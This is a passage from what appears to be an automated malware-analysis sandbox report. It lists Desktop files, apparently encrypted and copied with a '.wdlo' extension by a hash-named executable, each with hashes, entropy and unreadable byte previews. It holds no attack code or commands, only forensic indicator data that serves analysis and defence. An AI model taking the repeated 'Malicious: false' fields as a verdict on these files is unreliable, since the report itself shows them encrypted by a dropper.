SHA-512:	9BE12A0372B1DA1E975167D8C951D85E0C8745C1875259812673FD6D7A2294222270CA144724C1FFA09B6B7125082CCC1DCA5D3C417461CA05316D0F75FDB5ED
Malicious:	false
Preview:	HTAGVBT.~..9;8..4b.?A.`...'b.../.....R.~&CL+..j.sD.k6...Q..I.u=p>.FL..b7.}V~%..H..f.N.~L..).+.%.#M..A.....J7.}}.+..}.....xf...&..e.+..UwNd.......t..n.`^...J.f.....@...h-X .lO...2.A..Su.....^.Q!...Z.]......v(....V.S.g.g."\..=...S....,.=..f'.n.GrLE.fo...a..=8H........>...,\.w.m............P>R.^..m....{.._...X.>L.Dp....h.M....O.3hwWwJ!..5..,.F....y%..F.......@E.[..-I..12..'P..]...V.m.+v..!D..G.@.....#;..g....G..e]..-hr.}p.w...N.1.3~.."....o....9.......tt_FS........a3T.e..p........."]m...u....V.Z.H.qT....W.O..sk...m....Lm....d$.ieG./.;...cX....#.{;.l.[...S...._.........6`..-......z..(.....m..Q.!\J.O...]K..?.t.M...3I9....#4...b4M......^.....wJ..Jn..c..w.u....UX..z,e..H.e...8,.J:h`...~.B..+D.4.".y ..J......5..).p......U..<....~..'....Y,.].C8.u2}.1<.k.........M}0.]"..-a.?.....c.#......Y9..V..8y.>./.'H........I.i[..uh.L.sj.Z...R...g0v..[W.8.pQ..C.X.~J..q..QTu.9y..;.........N...T.T.....lxI...Fw.....s....x.,..v....Z

C:\Users\user\Desktop\VLZDGUKUTZ\HTAGVDFUIE.jpg.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.85648634810012
Encrypted:	false
SSDEEP:	24:zXyJWsK/v+Dr75PTzuXPUJsi3EItZLnOdNQ7Okh82PnxJ8wUZD3g1a3zbD:5v+X9PTzuXPUJs98LyE8ilO3gU3nD
MD5:	7C2454BB4C42ADDCA8D97A856B59993B
SHA1:	DB3840A6CAAA274E454C42B21EBB61B66D1A3794
SHA-256:	67EE6FC6E90D0EF7E49FAD16D0691C84469BEC48B879F16337BEA63F3E229EE6
SHA-512:	9BE12A0372B1DA1E975167D8C951D85E0C8745C1875259812673FD6D7A2294222270CA144724C1FFA09B6B7125082CCC1DCA5D3C417461CA05316D0F75FDB5ED
Malicious:	false
Preview:	HTAGVBT.~..9;8..4b.?A.`...'b.../.....R.~&CL+..j.sD.k6...Q..I.u=p>.FL..b7.}V~%..H..f.N.~L..).+.%.#M..A.....J7.}}.+..}.....xf...&..e.+..UwNd.......t..n.`^...J.f.....@...h-X .lO...2.A..Su.....^.Q!...Z.]......v(....V.S.g.g."\..=...S....,.=..f'.n.GrLE.fo...a..=8H........>...,\.w.m............P>R.^..m....{.._...X.>L.Dp....h.M....O.3hwWwJ!..5..,.F....y%..F.......@E.[..-I..12..'P..]...V.m.+v..!D..G.@.....#;..g....G..e]..-hr.}p.w...N.1.3~.."....o....9.......tt_FS........a3T.e..p........."]m...u....V.Z.H.qT....W.O..sk...m....Lm....d$.ieG./.;...cX....#.{;.l.[...S...._.........6`..-......z..(.....m..Q.!\J.O...]K..?.t.M...3I9....#4...b4M......^.....wJ..Jn..c..w.u....UX..z,e..H.e...8,.J:h`...~.B..+D.4.".y ..J......5..).p......U..<....~..'....Y,.].C8.u2}.1<.k.........M}0.]"..-a.?.....c.#......Y9..V..8y.>./.'H........I.i[..uh.L.sj.Z...R...g0v..[W.8.pQ..C.X.~J..q..QTu.9y..;.........N...T.T.....lxI...Fw.....s....x.,..v....Z

C:\Users\user\Desktop\VLZDGUKUTZ\KATAXZVCPS.pdf

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844456567058313
Encrypted:	false
SSDEEP:	24:jEqQLbrwcQZB0YaBMmG7GHW6lec2PNYXwJEuEObhMSbMTqx0WJ93zbD:jEGcQZBuGKH5ePJp/+SbIqhJ93nD
MD5:	1A68E6D72963DF3A21966FD4E2851DDF
SHA1:	DFC2BBB7EE0AD000B77A8B9704F378B5E5FDD04B
SHA-256:	4C8E7CD194869EB53120234B863AE2FFE95C5862C647A65E914AB4303C7BC5AF
SHA-512:	44812B308383B19582E562861F362FBBF5F0FA539E02343974F235EFF0EA0C385260C9945B27BB20A576DC95F313CD74C15E468973A640900057334221C89A90
Malicious:	false
Preview:	KATAXxL.BG.....U...c......".......c.w.(?r....P... S..S........h ..A.@.{c...Vv..9..y{.H...Bf..Q...-yl.a^0....L....\|vh...q.b...7i...H....2..Y5.&.8.!.g..,.... m..O.`s..u..i..RE6...#.....'.M..Qy.[.O.qgN.H..er..rs.V.`....SYp...6U.pyCr.4.#....&l.[U......i:7.V..oE-...~yq]-..7..'....).rE.I>.d.9.9.>.......F^..v..Pp2V....:....O....NA........H.p..#e.S....Nb..9(-..? ..$=t..B....E..(..<I......6vn~.3.T..}ca...+.84?.\.z...{..e.6~....PI.`. .....Nm.M....e....v...7O......e...[g.~..Ysk...z.^.....K.H.4.......#.....Xe".V,?.i`...a..o......C...?...M(i..H.p=%.(.....>j......`.Q=...._.o.......\|..>...:..z...!...VvSS..9..\)X.......\....z....3........4n..I.f...q>e....}...........).V.:.1.J'@A!.2k..e.....+D.../..Y:.C.cR:T..=i...........R..yf..I.q.,..4$..o......d.g...H..7.......FI..UY..n....xK......C_e!.5I...iY6}..Y..E....B~ho.X.........N..x...B..- ..*.....bx.F.m...T.}?...._!W).D.8e.2%.a$..x...J..]..iw.o..F..)>..A+..Y..........R._s...x.g..w..H...$....F.D.

C:\Users\user\Desktop\VLZDGUKUTZ\KATAXZVCPS.pdf.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844456567058313
Encrypted:	false
SSDEEP:	24:jEqQLbrwcQZB0YaBMmG7GHW6lec2PNYXwJEuEObhMSbMTqx0WJ93zbD:jEGcQZBuGKH5ePJp/+SbIqhJ93nD
MD5:	1A68E6D72963DF3A21966FD4E2851DDF
SHA1:	DFC2BBB7EE0AD000B77A8B9704F378B5E5FDD04B
SHA-256:	4C8E7CD194869EB53120234B863AE2FFE95C5862C647A65E914AB4303C7BC5AF
SHA-512:	44812B308383B19582E562861F362FBBF5F0FA539E02343974F235EFF0EA0C385260C9945B27BB20A576DC95F313CD74C15E468973A640900057334221C89A90
Malicious:	false
Preview:	KATAXxL.BG.....U...c......".......c.w.(?r....P... S..S........h ..A.@.{c...Vv..9..y{.H...Bf..Q...-yl.a^0....L....\|vh...q.b...7i...H....2..Y5.&.8.!.g..,.... m..O.`s..u..i..RE6...#.....'.M..Qy.[.O.qgN.H..er..rs.V.`....SYp...6U.pyCr.4.#....&l.[U......i:7.V..oE-...~yq]-..7..'....).rE.I>.d.9.9.>.......F^..v..Pp2V....:....O....NA........H.p..#e.S....Nb..9(-..? ..$=t..B....E..(..<I......6vn~.3.T..}ca...+.84?.\.z...{..e.6~....PI.`. .....Nm.M....e....v...7O......e...[g.~..Ysk...z.^.....K.H.4.......#.....Xe".V,?.i`...a..o......C...?...M(i..H.p=%.(.....>j......`.Q=...._.o.......\|..>...:..z...!...VvSS..9..\)X.......\....z....3........4n..I.f...q>e....}...........).V.:.1.J'@A!.2k..e.....+D.../..Y:.C.cR:T..=i...........R..yf..I.q.,..4$..o......d.g...H..7.......FI..UY..n....xK......C_e!.5I...iY6}..Y..E....B~ho.X.........N..x...B..- ..*.....bx.F.m...T.}?...._!W).D.8e.2%.a$..x...J..]..iw.o..F..)>..A+..Y..........R._s...x.g..w..H...$....F.D.

C:\Users\user\Desktop\VLZDGUKUTZ\LTKMYBSEYZ.mp3

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.837024855423023
Encrypted:	false
SSDEEP:	24:PrkqyILjjwDd8TlvtVyjvYGL9RWvpD5aelPb3h9AJcU+upsoUsRHBHr3zbD:PfyI3sd8tyjvDQps9psoU+Hr3nD
MD5:	0B09F440FF56C5DF2BA494FD7BEF3D11
SHA1:	57748E1840087D838603BB184719A73103572093
SHA-256:	F2375192787E862EDACAA99C9E39DF14D7142CDA5F01E24EC1E5CA9EB73C2C09
SHA-512:	AB56E3986702DBEB1F68F750F8A0962D638E07979024BA11F58A2FED82BED6D05459C0537C3F5E9FF4DB69799CBE25031A971B049C460CAE2B799585AF8AC562
Malicious:	false
Preview:	LTKMY.p..N:......=]p.......PY.........6..vQ....[`...3..'..P....(.E .w.;B...L.1A........LV"...l..G...Gx!Q1..y.,.....].`S..m.......FPD(...RG..'.DE...e..ex........`....i..K........Xn.x.P..+B..k....}...O..{.....x....C..N...........s1.M&2..-..h.K....W..2. .O8gr....p.pN5A"9+X....DH.^...)..f(&^....eq,.e....t:..'.9...er.s3.&&u........X0.F...-E./.H@....[[A.]...\|..{..`.....}1I....a.._.U.N.......o>.1y...582..WmDv.%.....La<...]..23..q.!.....!.R....FP..C..GD..+..g...q.D...Ct.....P..fE{.......N.v...a.W.E..D..g.....Z..a.c.}.\R/..L.O.Ms.a.1..E.LP.......<.-.f..m..z.k.....>........A..-..snK.>.e7..p.w..i....X}.....`...PM~(K.f............Wf9.I.v.:..a...{../C..G..3.L.3z..`.d>.......0H(..HX.l.W..t..B...T..y.g..X.M...N2.f.}...... ./....M{.<`!5;.c.^.#....k.....T......\|0.Z....2..ea=].....8.c.Ox...*..bp...=...0.k....hX<M..d...;....q..7.`...e.Hs...ll..j.6..TN........"...S.s.$..(....?.b..}..F....O..2}...}-c....l..Z.\...B\....N.-...fE....3:.vDm..$.1.k)Y..

C:\Users\user\Desktop\VLZDGUKUTZ\LTKMYBSEYZ.mp3.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.837024855423023
Encrypted:	false
SSDEEP:	24:PrkqyILjjwDd8TlvtVyjvYGL9RWvpD5aelPb3h9AJcU+upsoUsRHBHr3zbD:PfyI3sd8tyjvDQps9psoU+Hr3nD
MD5:	0B09F440FF56C5DF2BA494FD7BEF3D11
SHA1:	57748E1840087D838603BB184719A73103572093
SHA-256:	F2375192787E862EDACAA99C9E39DF14D7142CDA5F01E24EC1E5CA9EB73C2C09
SHA-512:	AB56E3986702DBEB1F68F750F8A0962D638E07979024BA11F58A2FED82BED6D05459C0537C3F5E9FF4DB69799CBE25031A971B049C460CAE2B799585AF8AC562
Malicious:	false
Preview:	LTKMY.p..N:......=]p.......PY.........6..vQ....[`...3..'..P....(.E .w.;B...L.1A........LV"...l..G...Gx!Q1..y.,.....].`S..m.......FPD(...RG..'.DE...e..ex........`....i..K........Xn.x.P..+B..k....}...O..{.....x....C..N...........s1.M&2..-..h.K....W..2. .O8gr....p.pN5A"9+X....DH.^...)..f(&^....eq,.e....t:..'.9...er.s3.&&u........X0.F...-E./.H@....[[A.]...\|..{..`.....}1I....a.._.U.N.......o>.1y...582..WmDv.%.....La<...]..23..q.!.....!.R....FP..C..GD..+..g...q.D...Ct.....P..fE{.......N.v...a.W.E..D..g.....Z..a.c.}.\R/..L.O.Ms.a.1..E.LP.......<.-.f..m..z.k.....>........A..-..snK.>.e7..p.w..i....X}.....`...PM~(K.f............Wf9.I.v.:..a...{../C..G..3.L.3z..`.d>.......0H(..HX.l.W..t..B...T..y.g..X.M...N2.f.}...... ./....M{.<`!5;.c.^.#....k.....T......\|0.Z....2..ea=].....8.c.Ox...*..bp...=...0.k....hX<M..d...;....q..7.`...e.Hs...ll..j.6..TN........"...S.s.$..(....?.b..}..F....O..2}...}-c....l..Z.\...B\....N.-...fE....3:.vDm..$.1.k)Y..

C:\Users\user\Desktop\VLZDGUKUTZ\UMMBDNEQBN.xlsx

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8447543502890955
Encrypted:	false
SSDEEP:	24:z9o4t32ckdgkEsg0SESJRJ0W0Om4SHS1D5Ap14gNSY0wiNxB4IauY/e3zbD:x53OBE/0sRJ07rS19AQg4Yq94I6/e3nD
MD5:	196ADFC0D2B363F2BF5C3618C82280EA
SHA1:	E3B499A60E941E1CB06503EB805BEAFED9E5245E
SHA-256:	72800802D0A4C7A3041BD8B3030472E36F009128A53894E93120488548082876
SHA-512:	FB015DF86B9316EE1C1D8F6BFF539F36D2DA4BCAEA96CAD1804D4A95BDCF9FFA80BD37A940A44346E39F1C22B4A3C41EC0262829E5955870E928DBC9E881AD8C
Malicious:	false
Preview:	UMMBD.{.u...H..HDkG.f.t....,.WU....Y.9S.......Z\...>r7...q...'....._.~./..4.r.:JVK..u.]<. ...c......P'...9../..........=k)J...q....."....H}....r..c.#..2.XHN.R.,&m..n=.b}17\|]Z`......p..6...8.k...O.%U......>.J`...^S.S2..cp...g.5..* ...R..&..i.SV..D.....1...eu.+,..G.....P.....s.r1...h...63W.[\|..^...4DBn..b+e.."..f4.Cx..i.../,5xM'.#px..:r..0...{Z..Tg.!.KC...~.P....L"._.uzp.. ...\|B#..#.{.....v>yW.].....a..!.+.5.....q\|Z...V...8.W...y..Ao..@..)"....}g..o..d~...y....x.k.%...n.U...9j...~.whV..L.]-..8...\.P.....v...b.?<..U...y. x.........T.aW.....8.............1.K=.d.ch.{N/.<....c9.\L$.m.A.m..).\..'....?,1}.9@K.z....C.9>.9...nq..`6Z...............K.....zu.r5v?s.....u../...wd\|.o......M........x........KP..~..>..l.....3a.=.pi....)@Q......s.\|DU/.O.#..E......].t-.4...O..>.r..E.6Q.{Q.."....O.T....q..>...[k.l...._...... ....2H.././.Z.D...-.a.U.'.x./.X[_...L!...*..O.R9.X....ar.}NH$..y#..]....7k.......c...p.Y8z.q'.4.....k,...a....)v..p.[V)x........W.

C:\Users\user\Desktop\VLZDGUKUTZ\UMMBDNEQBN.xlsx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8447543502890955
Encrypted:	false
SSDEEP:	24:z9o4t32ckdgkEsg0SESJRJ0W0Om4SHS1D5Ap14gNSY0wiNxB4IauY/e3zbD:x53OBE/0sRJ07rS19AQg4Yq94I6/e3nD
MD5:	196ADFC0D2B363F2BF5C3618C82280EA
SHA1:	E3B499A60E941E1CB06503EB805BEAFED9E5245E
SHA-256:	72800802D0A4C7A3041BD8B3030472E36F009128A53894E93120488548082876
SHA-512:	FB015DF86B9316EE1C1D8F6BFF539F36D2DA4BCAEA96CAD1804D4A95BDCF9FFA80BD37A940A44346E39F1C22B4A3C41EC0262829E5955870E928DBC9E881AD8C
Malicious:	false
Preview:	UMMBD.{.u...H..HDkG.f.t....,.WU....Y.9S.......Z\...>r7...q...'....._.~./..4.r.:JVK..u.]<. ...c......P'...9../..........=k)J...q....."....H}....r..c.#..2.XHN.R.,&m..n=.b}17\|]Z`......p..6...8.k...O.%U......>.J`...^S.S2..cp...g.5..* ...R..&..i.SV..D.....1...eu.+,..G.....P.....s.r1...h...63W.[\|..^...4DBn..b+e.."..f4.Cx..i.../,5xM'.#px..:r..0...{Z..Tg.!.KC...~.P....L"._.uzp.. ...\|B#..#.{.....v>yW.].....a..!.+.5.....q\|Z...V...8.W...y..Ao..@..)"....}g..o..d~...y....x.k.%...n.U...9j...~.whV..L.]-..8...\.P.....v...b.?<..U...y. x.........T.aW.....8.............1.K=.d.ch.{N/.<....c9.\L$.m.A.m..).\..'....?,1}.9@K.z....C.9>.9...nq..`6Z...............K.....zu.r5v?s.....u../...wd\|.o......M........x........KP..~..>..l.....3a.=.pi....)@Q......s.\|DU/.O.#..E......].t-.4...O..>.r..E.6Q.{Q.."....O.T....q..>...[k.l...._...... ....2H.././.Z.D...-.a.U.'.x./.X[_...L!...*..O.R9.X....ar.}NH$..y#..]....7k.......c...p.Y8z.q'.4.....k,...a....)v..p.[V)x........W.

C:\Users\user\Desktop\VLZDGUKUTZ\VLZDGUKUTZ.docx

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860408651243991
Encrypted:	false
SSDEEP:	24:FeexrJCXXKkTURu/FKx92obr62NkAOWPgLvp35VQMANFNz/wQl3zbD:DGXTUUKx92yrfPOWYrB5KlNTl3nD
MD5:	A228B14667CE42F4AC72FA4B937874E5
SHA1:	06A3598EB2FDFE14ED2E9723071C405F883EC438
SHA-256:	B8A4509FCB2B769AA727F8A37BE42C58CAAD8F7DEC9DA259673252A36340E25F
SHA-512:	922B07AB38B3FBDC766DBC9BD045BC147BD91456BEDD09E1DB2D0B6946CEC8CE608CCD7301320EE388482AC763BB47E15283A05C5FFF068140EBF630E3202A83
Malicious:	false
Preview:	VLZDG..{4.....>...i.!....o.J...U.....&.a.H}NT9.. ..fbK4..N..\.3.......I...<\...0h.z.R..0.L{ ....=Wqw.#F..!jKd@.F,...\|.0..b......@...0......M.]."f......9.3.....g....S.")q..G.Z~e71.....&O..R.../c..x.M.S}UT..L1....v.h-'7.t.u....\|Oo..P.E.k.7g....D..M0...$.q..)..wh..on..>d.V7#Tf..g.+.....'.\..D.....p'&. ..B....&#LO......`..w...Y.....t...n.vn%..W...x.LM^..G..N.~R...c....T}GQQD.\.7...@(b!.Iwo-....M.3.\|.unw...]..j..b_.2..z..iFmq..'.(G....n2-W...L......&..4g.a8..."=.)....@.6.M8Q..#..(V~.g...:..."...#.0,B..v.Yf..o..a..lY.].....'.....C.BO.+.]..=<..3Z^&..F........Y.Q.HJ.e...e.M!M...n..B.Oj.i.(5...m.b*.............r...h.^...D..K%@?;...mu.;./..U..,._n...6B............... p+........2...M.F.1..........!...$R-I....L.i...[..t.U....Q..d.!Gkb...A...\|.fc...d.i=.'=.ue.._...~.....R..m.N.Q.....FQ.6...K..p...v.@J+.br<..._.;PU..M\|Y.K....b.y.>.a{.c..u#.Gf.L....i...\|>...PmV.b.l....,';.7_...t:....UN.j..b...Iyz..B.L.3^..Auw.8.$...Z.3..9.3.N...~..u.51..~.....R...O.'P.

C:\Users\user\Desktop\VLZDGUKUTZ\VLZDGUKUTZ.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860408651243991
Encrypted:	false
SSDEEP:	24:FeexrJCXXKkTURu/FKx92obr62NkAOWPgLvp35VQMANFNz/wQl3zbD:DGXTUUKx92yrfPOWYrB5KlNTl3nD
MD5:	A228B14667CE42F4AC72FA4B937874E5
SHA1:	06A3598EB2FDFE14ED2E9723071C405F883EC438
SHA-256:	B8A4509FCB2B769AA727F8A37BE42C58CAAD8F7DEC9DA259673252A36340E25F
SHA-512:	922B07AB38B3FBDC766DBC9BD045BC147BD91456BEDD09E1DB2D0B6946CEC8CE608CCD7301320EE388482AC763BB47E15283A05C5FFF068140EBF630E3202A83
Malicious:	false
Preview:	VLZDG..{4.....>...i.!....o.J...U.....&.a.H}NT9.. ..fbK4..N..\.3.......I...<\...0h.z.R..0.L{ ....=Wqw.#F..!jKd@.F,...\|.0..b......@...0......M.]."f......9.3.....g....S.")q..G.Z~e71.....&O..R.../c..x.M.S}UT..L1....v.h-'7.t.u....\|Oo..P.E.k.7g....D..M0...$.q..)..wh..on..>d.V7#Tf..g.+.....'.\..D.....p'&. ..B....&#LO......`..w...Y.....t...n.vn%..W...x.LM^..G..N.~R...c....T}GQQD.\.7...@(b!.Iwo-....M.3.\|.unw...]..j..b_.2..z..iFmq..'.(G....n2-W...L......&..4g.a8..."=.)....@.6.M8Q..#..(V~.g...:..."...#.0,B..v.Yf..o..a..lY.].....'.....C.BO.+.]..=<..3Z^&..F........Y.Q.HJ.e...e.M!M...n..B.Oj.i.(5...m.b*.............r...h.^...D..K%@?;...mu.;./..U..,._n...6B............... p+........2...M.F.1..........!...$R-I....L.i...[..t.U....Q..d.!Gkb...A...\|.fc...d.i=.'=.ue.._...~.....R..m.N.Q.....FQ.6...K..p...v.@J+.br<..._.;PU..M\|Y.K....b.y.>.a{.c..u#.Gf.L....i...\|>...PmV.b.l....,';.7_...t:....UN.j..b...Iyz..B.L.3^..Auw.8.$...Z.3..9.3.N...~..u.51..~.....R...O.'P.

C:\Users\user\Desktop\WUTJSCBCFX.jpg

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.842919553954123
Encrypted:	false
SSDEEP:	24:9ZNrDIwVgSklOslxCgaOm8Xk0E6HgqpOr4z++tnROGcb68vQwuri0V3zbD:LNgw4h2ga8nE6HgbS9cDli3nD
MD5:	C937D4FB189517F23AA9F96251B34197
SHA1:	7638641660367C6C3A8F18590AE031BBC84AAFB5
SHA-256:	44AB3EAC5A80B20877D273ED672BA7F44908C042212514E2FA915AF4BC20ACCB
SHA-512:	A0BF951BC39F9A1A59055221FD9D3CACFC5832842486544BF94626C8BC33A78EC1E5B30122CD26C7FF1545BCA69F28FEDA38619E0A89EA6E8D713664B58716E2
Malicious:	false
Preview:	WUTJS.....](../g:.wc..G.y...t.Vo...\|.....~......C..^...Ho..^...{..]K..N\..._.i`Vf.W.B.H...k~...&.Sn..?.<6.&.....kk..\.b.$3.(.....'..4.Q.y{.?....I\|.....(.....h......B. y,..F............}~..).0l..dS.....l..\|....t.~:.t4X.Iy.`......i.=..?....v!...'..\|y.r....zh9...cmp..,f#Vc..W.....!N'...y..t!..f...F......=..e...&..(..i...........\./.y......v`.../.?...Z....E..i'?....[...b82-K}..O.6......^..O.t..U6..ZA.n.k..g....sL.....a.UX]z....R......)/Z...&w.$.sY.X^A0K./^....,1.k./.)`+d...U.A..U.P...w.v,.~\|....dL.Z......=....s.......'.%....V..i...-~..25A..;N..e.$~V..hE.T.Wh...s.w.iz{...A.....\.....2%.5.CU.]..-.....%.4p@u..:.o_.....^."....v%.f....j...F...&Dqp.s,..D....'v..^....,.Z.0./..r..8.......g.'...\H..'.G.A.4l..f.v.W1...XJ.-..D.o.X.....B"....A.w.".&}.g".2.SS....<... ...&..ZY..E.b.p...Q..2......!...\z....\.......-B.i.......>fkc.S...RB........u.q..!4M....un..+......Ji".G.4(....Z.3P....Q.....o"cZ]....Y....ZBb..h..B..e..2w...\|g.Q...No".d.C}..y.&!i

C:\Users\user\Desktop\WUTJSCBCFX.jpg.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.842919553954123
Encrypted:	false
SSDEEP:	24:9ZNrDIwVgSklOslxCgaOm8Xk0E6HgqpOr4z++tnROGcb68vQwuri0V3zbD:LNgw4h2ga8nE6HgbS9cDli3nD
MD5:	C937D4FB189517F23AA9F96251B34197
SHA1:	7638641660367C6C3A8F18590AE031BBC84AAFB5
SHA-256:	44AB3EAC5A80B20877D273ED672BA7F44908C042212514E2FA915AF4BC20ACCB
SHA-512:	A0BF951BC39F9A1A59055221FD9D3CACFC5832842486544BF94626C8BC33A78EC1E5B30122CD26C7FF1545BCA69F28FEDA38619E0A89EA6E8D713664B58716E2
Malicious:	false
Preview:	WUTJS.....](../g:.wc..G.y...t.Vo...\|.....~......C..^...Ho..^...{..]K..N\..._.i`Vf.W.B.H...k~...&.Sn..?.<6.&.....kk..\.b.$3.(.....'..4.Q.y{.?....I\|.....(.....h......B. y,..F............}~..).0l..dS.....l..\|....t.~:.t4X.Iy.`......i.=..?....v!...'..\|y.r....zh9...cmp..,f#Vc..W.....!N'...y..t!..f...F......=..e...&..(..i...........\./.y......v`.../.?...Z....E..i'?....[...b82-K}..O.6......^..O.t..U6..ZA.n.k..g....sL.....a.UX]z....R......)/Z...&w.$.sY.X^A0K./^....,1.k./.)`+d...U.A..U.P...w.v,.~\|....dL.Z......=....s.......'.%....V..i...-~..25A..;N..e.$~V..hE.T.Wh...s.w.iz{...A.....\.....2%.5.CU.]..-.....%.4p@u..:.o_.....^."....v%.f....j...F...&Dqp.s,..D....'v..^....,.Z.0./..r..8.......g.'...\H..'.G.A.4l..f.v.W1...XJ.-..D.o.X.....B"....A.w.".&}.g".2.SS....<... ...&..ZY..E.b.p...Q..2......!...\z....\.......-B.i.......>fkc.S...RB........u.q..!4M....un..+......Ji".G.4(....Z.3P....Q.....o"cZ]....Y....ZBb..h..B..e..2w...\|g.Q...No".d.C}..y.&!i

C:\Users\user\Desktop\ZBEDCJPBEY.mp3

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.864260490197261
Encrypted:	false
SSDEEP:	24:Rl4jL2z6oGU0fcaTLpQftV+LTrvHquYeZoGGTTcfv4uG+Cub7j7Q/5uYXjE3zbD:nS6z6oG3caGqTDHqoZorHuG+Cub72uA6
MD5:	F5A6546268927C85B725ACE95AFDCF03
SHA1:	BDA8BAF177EA151CB9048B88973E7DEB274D395D
SHA-256:	0EDFDEEA1197DA2B533C609A8202A60EEA20262DF8A7D1FEFD7F1436FF86ECA6
SHA-512:	6C4333C4C2B32085A34C232C78082368E483AB0422E78A02153680EEAE00B049A75BD1917F97B92959D65145207662F0A3CD209222ABA155F9A18D09F121D04D
Malicious:	false
Preview:	ZBEDC+...u.(g..~.}.y..\M....r7.g...)..S.]v.%.8...,.A.e%..xF.:/..v...H.........+...@.%.e.%........8.7mR..`..E..&.<U<R..O.{....;..abL..p...W..i.^.l......a.......F.R..ih......poK.....@}.....i.s9...FT3%W...f&<Rs.....Qb~...X.].6.u.t..qr...P..;.G?,ok~..5O.!TW`..5.0.............n......Y^.7.d.&V....e...V6.~..4.2.3..3.....4....l.sP{t.'#......WT....p.Y.M..Q...m.ay<....=3.C;.., ..'....(....3 ..f.^u........G..1...0..\|...1.J.._E.......:+...Y..4qM..\|...FA..{.~o4K;...h2.y.K..o.~.....P.>...8K:\|......N....T.1"S.6.'.XS....C,....k...}..^.;..h.......9.... .......,...b...I....r..Cj~....d...@.84Qv..E...1'.O.8.....i..$.`...z6..x.gd.%l.+..M.I...b.......O.+r2...........I.W&.()7......{.]Un....J.i<X..$.c.=.\|.h..!2f.k....8.....n.-h.p.[....x)..6.>..u..J.i .%'.>.u.h.U....c`s..}c...]...U....v.8...UE......N.sZ....Q.#..1..3.i.4"....N]..F..t..K..y.A.K...?...f..A.Z............0..]..<....6...`....S.g.............&hL.4.{.$.>q.~.iD...M.......qj....'G.......W\3.!.a..V.

C:\Users\user\Desktop\ZBEDCJPBEY.mp3.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.864260490197261
Encrypted:	false
SSDEEP:	24:Rl4jL2z6oGU0fcaTLpQftV+LTrvHquYeZoGGTTcfv4uG+Cub7j7Q/5uYXjE3zbD:nS6z6oG3caGqTDHqoZorHuG+Cub72uA6
MD5:	F5A6546268927C85B725ACE95AFDCF03
SHA1:	BDA8BAF177EA151CB9048B88973E7DEB274D395D
SHA-256:	0EDFDEEA1197DA2B533C609A8202A60EEA20262DF8A7D1FEFD7F1436FF86ECA6
SHA-512:	6C4333C4C2B32085A34C232C78082368E483AB0422E78A02153680EEAE00B049A75BD1917F97B92959D65145207662F0A3CD209222ABA155F9A18D09F121D04D
Malicious:	false
Preview:	ZBEDC+...u.(g..~.}.y..\M....r7.g...)..S.]v.%.8...,.A.e%..xF.:/..v...H.........+...@.%.e.%........8.7mR..`..E..&.<U<R..O.{....;..abL..p...W..i.^.l......a.......F.R..ih......poK.....@}.....i.s9...FT3%W...f&<Rs.....Qb~...X.].6.u.t..qr...P..;.G?,ok~..5O.!TW`..5.0.............n......Y^.7.d.&V....e...V6.~..4.2.3..3.....4....l.sP{t.'#......WT....p.Y.M..Q...m.ay<....=3.C;.., ..'....(....3 ..f.^u........G..1...0..\|...1.J.._E.......:+...Y..4qM..\|...FA..{.~o4K;...h2.y.K..o.~.....P.>...8K:\|......N....T.1"S.6.'.XS....C,....k...}..^.;..h.......9.... .......,...b...I....r..Cj~....d...@.84Qv..E...1'.O.8.....i..$.`...z6..x.gd.%l.+..M.I...b.......O.+r2...........I.W&.()7......{.]Un....J.i<X..$.c.=.\|.h..!2f.k....8.....n.-h.p.[....x)..6.>..u..J.i .%'.>.u.h.U....c`s..}c...]...U....v.8...UE......N.sZ....Q.#..1..3.i.4"....N]..F..t..K..y.A.K...?...f..A.Z............0..]..<....6...`....S.g.............&hL.4.{.$.>q.~.iD...M.......qj....'G.......W\3.!.a..V.

C:\Users\user\Documents\DVWHKMNFNN.png

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
